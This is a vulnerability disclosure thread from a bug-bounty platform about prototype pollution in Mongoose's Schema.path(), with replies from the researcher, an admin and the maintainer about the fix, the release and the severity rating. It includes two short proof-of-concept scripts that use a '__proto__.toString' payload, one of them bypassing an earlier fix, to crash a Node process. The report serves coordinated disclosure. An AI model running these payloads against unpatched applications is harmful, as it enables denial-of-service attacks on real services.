Possible prototype pollution in Schema.path in automattic/mongoose

Valid

Reported on

Jun 15th 2022


Description

Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution. The Schema.path() function is vulnerable to prototype pollution when setting the schema object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.

Proof of Concept

// poc.js
const mongoose = require('mongoose');
const schema = new mongoose.Schema();

malicious_payload = '__proto__.toString'

schema.path(malicious_payload, [String])

x = {}
console.log(x.toString()) // crashed (Denial of service (DoS) attack)

Impact

This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.

We are processing your report and will contact the automattic/mongoose team within 24 hours. 2 months ago
Khang Vo (doublevkay) modified the report
2 months ago
Khang
2 months ago

Researcher


Hi, after putting a lot of effort to debug and bypass the fix commit of the issue the issue#10035 - Possible prototype pollution in mongoose.Schema. I found out a crucial issue here.

The root cause of the issue#10035 is not belongs to Schema.add() function as mentioned.

The root cause and the actual attack chain is Schema() -> Schema.add() -> Schema.path (called at (schema.js#L580) - which point out in my report. So the fix is incomplete and could be bypassed. The attack can reproceduce the attack scenario (using Scheme() function) with the following PoC.

// PoC.js - Bypass the issue #10035 fix
mongoose = require('mongoose');
var malicious_payload = '{"__proto__.toString": "Number"}';
console.log('Before:', {}.toString()); // [object Object]
mongoose.Schema(JSON.parse(malicious_payload));
console.log('After:', {}.toString()); // crashed

Note: Due to the interpreAsType check, we now no longer able to inject arbitrary value to properties. But, we are still able to choose which property could be polluted. It is potential to pollute toString() function as mentioned in the PoC and cause a process crash.

Khang Vo (doublevkay) modified the report
2 months ago
We have contacted a member of the automattic/mongoose team and are waiting to hear back 2 months ago
We have sent a follow up to the automattic/mongoose team. We will try again in 7 days. a month ago
We have sent a second follow up to the automattic/mongoose team. We will try again in 10 days. a month ago
We have sent a third and final follow up to the automattic/mongoose team. This report is now considered stale. a month ago
Khang
a month ago

Researcher


Hey @admin, could you help to manually contact maintainer or should do I?

Jamie Slome
a month ago

Admin


@vovikhangcdv - feel free to get in touch with the maintainers directly with this report URL.

If they do not want to sign-up or are happy for the report to go public, let me know as I can provide magic URL access to them, or make the report public.

Valeri Karpov
16 days ago

Maintainer


Hi, I'm sorry for the delay, I missed the original email. We'll fix this issue. What is the best way to disclose once we've fixed it?

However, this issue is an unlikely edge case. You typically don't define schemas with untrusted user data - schemas are meant to configure Mongoose to validate untrusted user data.

Khang
15 days ago

Researcher


Hey Valeri, nice to see your response.

I have seen your reply on the issue 10035 and I agree with it. Accepting user input into the Schema constructor is unreal. But If we concentrate on this reported case, the vulnerability is the 1st parameter of function Schema.path() - which is intended to allow a string input to modify the schema. And so far now, it becomes a real security problem when dependents trust mongoose to handle string input - which leads to unintended behavior crashing the application. The concept Never Trust User Input is a good practice to secure coding but it is not the insurance for security. I want to take an example of the case Inefficient Regular Expression Complexity in moment, both of us agree that users should not pass user-provided strings without sanity but it is good to eliminate the issue and awake the users.

After you fix the issue, I could help to retest it. Then we can resolve and disclose this report. If you agree with my perspective, please assign CVE too. And the last one, I think we could create a Security Advisory. It will help the Dependabot alerts to users and help to secure mongoose dependents.

Jamie Slome
15 days ago

Admin


@Valeri @Khang - we can take care of the entire disclosure process. Once you are both happy that the issue is a valid vulnerability and a fix has been established, we will automatically assign and publish a CVE for this specific report.

This will make this report page go public, and will be included in the CVE as a reference. This has the same effect as a Dependabot alert, as GitHub scrapes our CVEs and adds them to their Security Advisory database :)

@Valeri - when you are ready with a fix, feel free to use the resolve button below, and you will need to provide us with some information about which commit SHA fixed the issue, and which release of the package will include the patch.

Let me know if either of you have any further questions 👍

Khang
15 days ago

Researcher


I got it, thank you @Jamie!

Valeri Karpov
15 days ago

Maintainer


Here's a fix we put in last night: https://github.com/Automattic/mongoose/commit/a45cfb6b0ce0067ae9794cfa80f7917e1fb3c6f8 . We did not put this fix in master yet, not sure whether that counts as disclosure. But if you're ok with it, we can ship a release with this fix within 24 hours.

Khang
15 days ago

Researcher


I confirm the fix worked 👍

Jamie Slome
15 days ago

Admin


@Valeri - sure, let us know once you have shipped the release with a fix.

Once you have done this, feel free to proceed with Resolve (Valid and Fixed) 👍

Valeri Karpov
14 days ago

Maintainer


Hi, I just shipped v6.4.6 with the fix earlier today. I don't see an option to click "Resolve" anywhere in this UI though.

Khang
13 days ago

Researcher


Hi @admin, could you help us?

Jamie Slome
13 days ago

Admin


@Valeri - are you not able to see the following:

image

Khang
12 days ago

Researcher


Hi there, any update?

Khang
8 days ago

Researcher


Hi @admin @maintainer, any update for this report?

Valeri Karpov
8 days ago

Maintainer


Nope, below is what I see: image . Doing a ctrl+f for "Resolve" returns no results outside of comments.

Khang
7 days ago

Researcher


Hi @admin, could you help?

Jamie Slome
7 days ago

Admin


Spotted the problem 🎉 For some reason @vkarpov15, you were not listed as a maintainer for this project. I have now gone ahead and done this, and you should be able to resolve the report.

Please ensure you log out and log back into the platform, and that you have no magic tokens in the URL.

Valeri Karpov modified the Severity from High to Low 7 days ago
The researcher has received a minor penalty to their credibility for miscalculating the severity: -1
Valeri Karpov validated this vulnerability 7 days ago
Khang Vo (doublevkay) has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Valeri Karpov confirmed that a fix has been merged on a45cfb 7 days ago
Valeri Karpov has been awarded the fix bounty
Valeri Karpov
7 days ago

Maintainer


I'm sorry for updating the severity, that was a mistake on my part. I read this doc more closely and "high" is more appropriate given that we're measuring "severity, not risk". However, changing the severity back required selecting some toggles and I didn't want to make another mistake - I'm not very familiar with this UI.

Khang
7 days ago

Researcher


Can we assign cve for this issue? Of course with the new severity changed.

Jamie Slome modified the Severity from Low to High (7) 6 days ago
Jamie Slome
6 days ago

Admin


Both are now sorted 👍

to join this conversation